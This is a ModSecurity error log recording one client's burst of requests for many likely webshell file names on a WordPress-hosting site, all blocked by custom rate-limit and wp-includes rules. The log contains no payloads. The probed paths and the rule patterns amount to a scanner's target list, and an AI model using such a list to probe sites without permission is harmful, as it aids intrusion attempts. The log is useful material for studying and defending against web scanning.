[Sun Apr 26 07:48:13.827574 2026] [:error] [pid 16574:tid 16625] [client 158.158.100.177:13547] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "ae1SvX5MsX8wRQr99nb_LAAAA08"]
[Sun Apr 26 07:49:11.416548 2026] [:error] [pid 22573:tid 22630] [client 158.158.100.177:10709] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rendi59.php"] [unique_id "ae1S93B3EmQlD4yKUt8oDwAAAZc"]
[Sun Apr 26 07:49:13.008088 2026] [:error] [pid 22572:tid 22581] [client 158.158.100.177:20277] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rendi59.php"] [unique_id "ae1S-dXOViWCFU-pZzB4twAAAUM"]
[Sun Apr 26 07:49:17.018305 2026] [:error] [pid 8491:tid 8513] [client 158.158.100.177:45420] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rendi59.php"] [unique_id "ae1S_Sq7I7e6CJooQM2tXwAAAM4"]
[Sun Apr 26 07:49:19.591828 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:45382] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rendi59.php"] [unique_id "ae1S_3B3EmQlD4yKUt8oHAAAAZE"]
[Sun Apr 26 07:49:24.626137 2026] [:error] [pid 8385:tid 8445] [client 158.158.100.177:52002] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rivasqup.php"] [unique_id "ae1TBDOy7_J84Wx3-ox1GgAAAFU"]
[Sun Apr 26 07:49:25.975141 2026] [:error] [pid 22573:tid 22628] [client 158.158.100.177:8779] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rivasqup.php"] [unique_id "ae1TBXB3EmQlD4yKUt8oIwAAAZU"]
[Sun Apr 26 07:49:27.202172 2026] [:error] [pid 16574:tid 16627] [client 158.158.100.177:57984] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rivasqup.php"] [unique_id "ae1TB35MsX8wRQr99nb_PwAAA1A"]
[Sun Apr 26 07:49:27.829869 2026] [:error] [pid 8390:tid 8459] [client 158.158.100.177:8519] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rivasqup.php"] [unique_id "ae1TB4GPtFK_i9p5yxQu0QAAAIg"]
[Sun Apr 26 07:49:29.216732 2026] [:error] [pid 13137:tid 13160] [client 158.158.100.177:20249] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "ae1TCd0RB4J0o4h5neHo_gAAAhM"]
[Sun Apr 26 07:49:30.526644 2026] [:error] [pid 8385:tid 8426] [client 158.158.100.177:1684] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "ae1TCjOy7_J84Wx3-ox1HAAAAEI"]
[Sun Apr 26 07:49:31.551117 2026] [:error] [pid 13197:tid 13239] [client 158.158.100.177:11175] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "ae1TC93kktFKdSxTrBuV8gAAAsg"]
[Sun Apr 26 07:49:33.025722 2026] [:error] [pid 16574:tid 16643] [client 158.158.100.177:10645] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "ae1TDX5MsX8wRQr99nb_QQAAA1g"]
[Sun Apr 26 07:49:34.273770 2026] [:error] [pid 16515:tid 16541] [client 158.158.100.177:8817] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dshtv.php"] [unique_id "ae1TDltDrUmgHSvpuLzOTwAAAlc"]
[Sun Apr 26 07:49:35.811544 2026] [:error] [pid 13137:tid 13149] [client 158.158.100.177:62668] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dshtv.php"] [unique_id "ae1TD90RB4J0o4h5neHpAwAAAgk"]
[Sun Apr 26 07:49:37.365151 2026] [:error] [pid 22572:tid 22583] [client 158.158.100.177:10642] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dshtv.php"] [unique_id "ae1TEdXOViWCFU-pZzB40QAAAUU"]
[Sun Apr 26 07:49:41.725309 2026] [:error] [pid 13137:tid 13141] [client 158.158.100.177:1864] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dshtv.php"] [unique_id "ae1TFd0RB4J0o4h5neHpCwAAAgE"]
[Sun Apr 26 07:49:45.155125 2026] [:error] [pid 22573:tid 22616] [client 158.158.100.177:1685] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sym403.php"] [unique_id "ae1TGXB3EmQlD4yKUt8oRAAAAYk"]
[Sun Apr 26 07:49:50.821050 2026] [:error] [pid 8385:tid 8432] [client 158.158.100.177:53360] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sym403.php"] [unique_id "ae1THjOy7_J84Wx3-ox1KAAAAEg"]
[Sun Apr 26 07:49:54.894691 2026] [:error] [pid 13197:tid 13252] [client 158.158.100.177:42170] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sym403.php"] [unique_id "ae1TIt3kktFKdSxTrBuV-QAAAtQ"]
[Sun Apr 26 07:49:59.646928 2026] [:error] [pid 16574:tid 16610] [client 158.158.100.177:1869] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp1.php"] [unique_id "ae1TJ35MsX8wRQr99nb_SAAAA0Y"]
[Sun Apr 26 07:50:01.911995 2026] [:error] [pid 22572:tid 22596] [client 158.158.100.177:50210] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp1.php"] [unique_id "ae1TKdXOViWCFU-pZzB44AAAAVI"]
[Sun Apr 26 07:50:03.231297 2026] [:error] [pid 22572:tid 22585] [client 158.158.100.177:10737] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp1.php"] [unique_id "ae1TK9XOViWCFU-pZzB45AAAAUc"]
[Sun Apr 26 07:50:04.980288 2026] [:error] [pid 13137:tid 13154] [client 158.158.100.177:11143] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp1.php"] [unique_id "ae1TLN0RB4J0o4h5neHpIAAAAg0"]
[Sun Apr 26 07:50:06.710022 2026] [:error] [pid 13197:tid 13242] [client 158.158.100.177:10708] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae1TLt3kktFKdSxTrBuWAQAAAss"]
[Sun Apr 26 07:51:05.650868 2026] [:error] [pid 22573:tid 22620] [client 158.158.100.177:10716] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "ae1TaXB3EmQlD4yKUt8oxQAAAY0"]
[Sun Apr 26 07:51:19.292979 2026] [:error] [pid 8390:tid 8457] [client 158.158.100.177:1873] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "ae1Td4GPtFK_i9p5yxQvDgAAAIY"]
[Sun Apr 26 07:51:25.175863 2026] [:error] [pid 16515:tid 16536] [client 158.158.100.177:50211] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1TfVtDrUmgHSvpuLzOiQAAAlI"]
[Sun Apr 26 07:51:27.977933 2026] [:error] [pid 8383:tid 8411] [client 158.158.100.177:1707] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1Tf9Fa2S3EsATMdWPROQAAAA4"]
[Sun Apr 26 07:51:29.403568 2026] [:error] [pid 13137:tid 13154] [client 158.158.100.177:53343] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1Tgd0RB4J0o4h5neHpbAAAAg0"]
[Sun Apr 26 07:51:32.209551 2026] [:error] [pid 16515:tid 16520] [client 158.158.100.177:30564] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1ThFtDrUmgHSvpuLzOkAAAAkI"]
[Sun Apr 26 07:51:35.163199 2026] [:error] [pid 16515:tid 16536] [client 158.158.100.177:50227] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "ae1Th1tDrUmgHSvpuLzOmAAAAlI"]
[Sun Apr 26 07:51:36.873905 2026] [:error] [pid 13137:tid 13160] [client 158.158.100.177:10690] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "ae1TiN0RB4J0o4h5neHpdwAAAhM"]
[Sun Apr 26 07:51:40.593105 2026] [:error] [pid 16515:tid 16527] [client 158.158.100.177:11112] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "ae1TjFtDrUmgHSvpuLzOnwAAAkk"]
[Sun Apr 26 07:51:42.211404 2026] [:error] [pid 8385:tid 8427] [client 158.158.100.177:50755] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "ae1TjjOy7_J84Wx3-ox1XwAAAEM"]
[Sun Apr 26 07:51:43.332207 2026] [:error] [pid 8385:tid 8430] [client 158.158.100.177:57992] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "ae1TjzOy7_J84Wx3-ox1YwAAAEY"]
[Sun Apr 26 07:51:44.177758 2026] [:error] [pid 8491:tid 8510] [client 158.158.100.177:53350] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "ae1TkCq7I7e6CJooQM2togAAAMs"]
[Sun Apr 26 07:51:45.703717 2026] [:error] [pid 8383:tid 8419] [client 158.158.100.177:53332] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "ae1TkdFa2S3EsATMdWPRQAAAABY"]
[Sun Apr 26 07:51:47.180894 2026] [:error] [pid 8390:tid 8457] [client 158.158.100.177:7719] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "ae1Tk4GPtFK_i9p5yxQvHgAAAIY"]
[Sun Apr 26 07:51:48.119190 2026] [:error] [pid 16515:tid 16541] [client 158.158.100.177:8818] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "ae1TlFtDrUmgHSvpuLzOpgAAAlc"]
[Sun Apr 26 07:51:50.871632 2026] [:error] [pid 22572:tid 22586] [client 158.158.100.177:58035] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "ae1TltXOViWCFU-pZzB5KgAAAUg"]
[Sun Apr 26 07:51:52.836667 2026] [:error] [pid 13197:tid 13235] [client 158.158.100.177:19542] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "ae1TmN3kktFKdSxTrBuWHAAAAsQ"]
[Sun Apr 26 07:51:53.958122 2026] [:error] [pid 22573:tid 22608] [client 158.158.100.177:42132] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "ae1TmXB3EmQlD4yKUt8o1QAAAYI"]
[Sun Apr 26 07:51:54.853472 2026] [:error] [pid 8390:tid 8470] [client 158.158.100.177:50793] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ae1TmoGPtFK_i9p5yxQvJgAAAJM"]
[Sun Apr 26 07:51:56.212418 2026] [:error] [pid 16515:tid 16521] [client 158.158.100.177:11083] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ae1TnFtDrUmgHSvpuLzOqgAAAkM"]
[Sun Apr 26 07:51:59.030728 2026] [:error] [pid 8383:tid 8400] [client 158.158.100.177:22826] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ae1Tn9Fa2S3EsATMdWPRRgAAAAM"]
[Sun Apr 26 07:52:23.378710 2026] [:error] [pid 13137:tid 13153] [client 158.158.100.177:22797] [client 158.158.100.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "ae1Tt90RB4J0o4h5neHpkwAAAgw"]
[Sun Apr 26 07:52:50.999758 2026] [:error] [pid 8385:tid 8447] [client 158.158.100.177:50792] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ae1T0jOy7_J84Wx3-ox1iQAAAFc"]
[Sun Apr 26 07:52:52.474634 2026] [:error] [pid 22572:tid 22583] [client 158.158.100.177:44778] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ae1T1NXOViWCFU-pZzB5ewAAAUU"]
[Sun Apr 26 07:52:53.677699 2026] [:error] [pid 13197:tid 13240] [client 158.158.100.177:34409] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ae1T1d3kktFKdSxTrBuWLwAAAsk"]
[Sun Apr 26 07:52:55.946374 2026] [:error] [pid 13137:tid 13140] [client 158.158.100.177:15368] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ae1T190RB4J0o4h5neHplAAAAgA"]
[Sun Apr 26 07:52:58.074957 2026] [:error] [pid 8385:tid 8434] [client 158.158.100.177:14404] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bpxrn.php"] [unique_id "ae1T2jOy7_J84Wx3-ox1mgAAAEo"]
[Sun Apr 26 07:52:58.869654 2026] [:error] [pid 16515:tid 16527] [client 158.158.100.177:44745] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bpxrn.php"] [unique_id "ae1T2ltDrUmgHSvpuLzO_AAAAkk"]
[Sun Apr 26 07:53:01.603895 2026] [:error] [pid 13137:tid 13141] [client 158.158.100.177:46679] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bpxrn.php"] [unique_id "ae1T3d0RB4J0o4h5neHplwAAAgE"]
[Sun Apr 26 07:53:02.816316 2026] [:error] [pid 8385:tid 8442] [client 158.158.100.177:34990] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bpxrn.php"] [unique_id "ae1T3jOy7_J84Wx3-ox1ngAAAFI"]
[Sun Apr 26 07:53:04.701993 2026] [:error] [pid 22572:tid 22587] [client 158.158.100.177:34967] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "ae1T4NXOViWCFU-pZzB5hAAAAUk"]
